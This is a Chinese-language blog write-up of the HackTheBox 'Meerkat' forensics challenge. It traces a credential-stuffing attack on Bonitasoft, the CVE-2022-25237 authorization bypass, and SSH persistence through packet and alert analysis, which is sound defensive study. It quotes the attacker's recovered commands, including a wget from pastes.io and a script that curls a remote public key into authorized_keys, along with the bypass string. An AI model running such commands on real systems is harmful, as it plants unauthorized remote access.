HTB-Meerkat

本文最后更新于 2025年3月25日 晚上

Level:Easy

Description

As a fast-growing startup, Forela has been utilising a business management platform. Unfortunately, our documentation is scarce, and our administrators aren’t the most security aware. As our new security provider we’d like you to have a look at some PCAP and log data we have exported to confirm if we have (or have not) been compromised.

Task 1

对于流量包,我的习惯是从 http 协议的流量开始分析,所以先过滤 http 流量,而且 4 开头的状态码都没用

1
http&&!http.response.code > 400

可以看到有很多 POST 请求

追踪 TCP 流发现应该是在进行登录,这大量的请求挺像在爆破的

谷歌搜索 bonita 发现了软件,“Get limitless extensibility with Bonita, the process automation platform that doesn’t lock you in”,一个流程自动化平台,所以答案为 bonitasoft

1
2
We believe our Business Management Platform server has been compromised. Please can you confirm the name of the application running?
:BonitaSoft

Task 2

从数据中可以看出 156.146.62.213 一直在向 172.31.6.44/bonita/loginservice 发送请求,追踪流会发现每个包的请求的 usernamepassword 字段的值都不一样,确实应该是在爆破

看了一些数据之后会发现有一定的规律,用户名大多数以 @forela.co.uk 结尾,不仅如此还有 install 用户的请求信息

1
install:install

Tenant administrator credentials

install 是 Bonitasoft 的默认用户,可以猜一下可能是有泄露的一些账户,符合 Brute Force: Credential Stuffing 条件,暴力破解的一种技术:凭证填充,也叫撞库攻击

1
2
We believe the attacker may have used a subset of the brute forcing attack category - what is the name of the attack carried out?
:Credential Stuffing

Task 3

jq 获取文件中不同警报签名 alert.signature 字段出现次数,然后按照次数从高到低排序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─# cat '/mnt/f/渗透/HackTheBox/meerkat/meerkat-alerts.json' | jq '.[].alert.signature' | sort | uniq -c | sort -nr
134 "ET INFO User-Agent (python-requests) Inbound to Webserver"
59 "ET WEB_SPECIFIC_APPS Bonitasoft Default User Login Attempt M1 (Possible Staging for CVE-2022-25237)"
17 "ET DROP Dshield Block Listed Source group 1"
12 "ET EXPLOIT Bonitasoft Authorization Bypass M1 (CVE-2022-25237)"
6 "ET POLICY GNU/Linux APT User-Agent Outbound likely related to package management"
4 "GPL WEB_SERVER DELETE attempt"
4 "ET EXPLOIT Bonitasoft Successful Default User Login Attempt (Possible Staging for CVE-2022-25237)"
4 "ET EXPLOIT Bonitasoft Authorization Bypass and RCE Upload M1 (CVE-2022-25237)"
3 "ET CINS Active Threat Intelligence Poor Reputation IP group 84"
3 "ET CINS Active Threat Intelligence Poor Reputation IP group 82"
2 null
1 "GPL SNMP public access udp"
1 "ET SCAN Suspicious inbound to PostgreSQL port 5432"
1 "ET SCAN Suspicious inbound to Oracle SQL port 1521"
1 "ET SCAN Suspicious inbound to mySQL port 3306"
1 "ET SCAN Suspicious inbound to MSSQL port 1433"
1 "ET SCAN Potential VNC Scan 5900-5920"
1 "ET SCAN Potential VNC Scan 5800-5820"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 81"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 76"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 31"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 29"
1 "ET CINS Active Threat Intelligence Poor Reputation IP group 13"
1 "ET ATTACK_RESPONSE Possible /etc/passwd via HTTP (linux style)"
1 "ET 3CORESec Poor Reputation IP group 42"
1 "ET 3CORESec Poor Reputation IP group 18"

可以发现频繁出现了 CVE-2022-25237

1
jq '.[].alert.signature' '/mnt/f/渗透/HackTheBox/meerkat/meerkat-alerts.json' | grep CVE

1
2
Does the vulnerability exploited have a CVE assigned - and if so, which one?
:CVE-2022-25237

Task 4

“i18ntranslation or /../i18ntranslation/ to the end of a URL”

同样,我们在流量包里过滤一下也能发现

1
http && !http.response.code > 400 && http.request.uri matches "API"

1
2
Which string was appended to the API URL path to bypass the authorization filter by the attacker's exploit?
:i18ntranslation

Task 5

首先过滤出带有 POST 请求 /bonita/loginservice 的数据,118 条

1
http.request.method =="POST" && http.request.uri contains "/bonita/loginservice"

把带有 install 用户的数据包过滤了

1
http.request.method =="POST" && http.request.uri contains "/bonita/loginservice" && !http contains "install"

过滤出来了 59 条

但是发现其中有四条是重复的,所以总共 56 条

1
2
How many combinations of usernames and passwords were used in the credential stuffing attack?
:56

Task 6

查看会话信息能发现,用户 seb.broom@forela.co.uk 尝试登陆后状态码变成了 204 ,表名已经身份验证成功了

1
username=seb.broom@forela.co.uk&password=g0vernm3nt

1
2
Which username and password combination was successful?
:seb.broom@forela.co.uk:g0vernm3nt

Task 7

结合前面的来看,这一段是在登录成功之后,然后进行了几个操作:

  • 上传 zip 文件利用了 CVE

  • 执行 whoami

  • 执行 cat /etc/passwd

  • 删除上传的文件

  • 利用 wget 下载文件

1
wget https://pastes.io/raw/bx5gcr0et8

所以网站为 :pastes.io

1
2
If any, which text sharing site did the attacker utilise?
:pastes.io

Task 8

同样尝试 wget 文件下来发现是一个脚本,用于 curl 读取另一个 hffgra4unv 文件,并将其写入 Ubuntu 的 authorized_keys 文件中

1
2
3
#!/bin/bash
curl https://pastes.io/raw/hffgra4unv >> /home/ubuntu/.ssh/authorized_keys
sudo service ssh restart

所以 hffgra4unv 文件中有公钥

1
2
Please provide the filename of the public key used by the attacker to gain persistence on our host.
:hffgra4unv

Task 9

写入 /home/ubuntu/.ssh/authorized_keys

1
2
Can you confirm the file modified by the attacker to gain persistence?
:/home/ubuntu/.ssh/authorized_keys

Task 10

根据线索查找,持久性并且对账户操作,Account Manipulation: SSH Authorized Keys

1
2
Can you confirm the MITRE technique ID of this type of persistence mechanism?
:T1098.004

Analysis

jq

jq 用于处理 JSON 输入,将给定过滤器应用于其 JSON 文本输入并在标准输出上将过滤器的结果生成为 JSON

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
-n, --null-input          使用 null 作为单一输入值;
-R, --raw-input 将每行输入视为原始字符串(而非JSON);
-s, --slurp 将所有输入读取到一个数组中,并作为单一输入值;
-c, --compact-output 输出紧凑格式(而非美化格式);
-r, --raw-output 直接输出字符串(不转义且不加引号);
--raw-output0 同 -r,但每条输出后追加 NUL空字符;
-j, --join-output 同 -r,但输出后不换行;
-a, --ascii-output 仅用 ASCII 转义序列输出字符串;
-S, --sort-keys 输出时对每个对象的键排序;
-C, --color-output 彩色输出 JSON;
-M, --monochrome-output 禁用彩色输出;
--tab 使用制表符缩进;
--indent n 使用 n 个空格缩进(最多7个);
--unbuffered 每次输出后立即刷新输出流;
--stream 以流式处理方式解析输入值;
--stream-errors 同 --stream,并将解析错误报告为数组;
--seq 按 application/json-seq 格式解析输入/输出;

详细教程:如何使用 jq 从 Linux 命令行解析 json 文件

Credential Stuffing

凭证填充,习惯性称为 “撞库”,就是利用从一项服务上的数据泄露中获得的登录凭据尝试登录到另一个不相关的服务,获取对其他服务上用户帐户的未授权访问。简单来说就是假如攻击者在一个服务上窃取了很多账号,然后使用相同的登录凭证去登录银行账户,猜测在银行也有这些账户使用同样的用户名和密码(因此不要所有的账户都用相同的密码hhhh)。利用的是数据泄露,所以大大提高了成功率。

CVE-2022-25237

详细信息:CVE-2022-25237:Bonitasoft 授权绕过和 RCE

Bonita Web 2021.2 受到身份验证/授权绕过漏洞的影响,原因是 RestAPIAuthorizationFilter 中使用的排除模式过于宽泛。通过在 URL 末尾附加 ;i18ntranslation/../i18ntranslation/,没有权限的用户可以访问特权 API 端点,这可能导致通过滥用特权 API 操作直接 RCE。

漏洞点来自系统中的 web.xml 文件,用于定义系统应用的路由和如何处理路由的身份验证及授权

SSH Authorized Keys

Linux 发行版和 macOS 通常使用基于密钥的身份验证来保护远程管理的 SSH 会话的身份验证过程。SSH authorized_keys 中的文件指定可用于登录配置文件所针对的用户帐户的 SSH 密钥。此文件通常位于用户主目录中的 下的 <user-home>/.ssh/authorized_keys。用户可以编辑系统的 SSH 配置文件,将指令 PubkeyAuthenticationRSAAuthentication 修改为值 “yes”,以确保启用公钥和 RSA 身份验证。SSH 配置文件通常位于 下/etc/ssh/sshd_config

攻击者可以直接使用脚本或 shell 命令修改 SSH authorized_keys 文件,以添加攻击者提供的公钥。

当我们需要 ssh 远程访问服务器时,会生成 ssh 公钥,然后本地机器将公钥写入到服务器的 .ssh/authorized_keys中,实现免密登录连接。

Conclusion

大致流程

  • 通过凭证填充的方式来对服务器进行请求
  • ‘’seb.broom@forela.co.uk:g0vernm3nt”成功登录
  • 利用 CVE-2022-25237 来上传 rce_api_extension.zip 文件,然后再删除
  • 通过脚本将新的 ssh 公钥覆盖写入 /home/ubuntu/.ssh/authorized_keys
  • ssh 连接下载了一些软件包
  • nmap 对 IP:34.207.150.13 进行端口枚举
  • 结束 ssh 会话

从 6385 开始就在对端口进行扫描,应该是打开了 nmap

直到最后结束 ssh 会话


HTB-Meerkat
http://example.com/2025/03/25/HTB-Meerkat/
作者
butt3rf1y
发布于
2025年3月25日
许可协议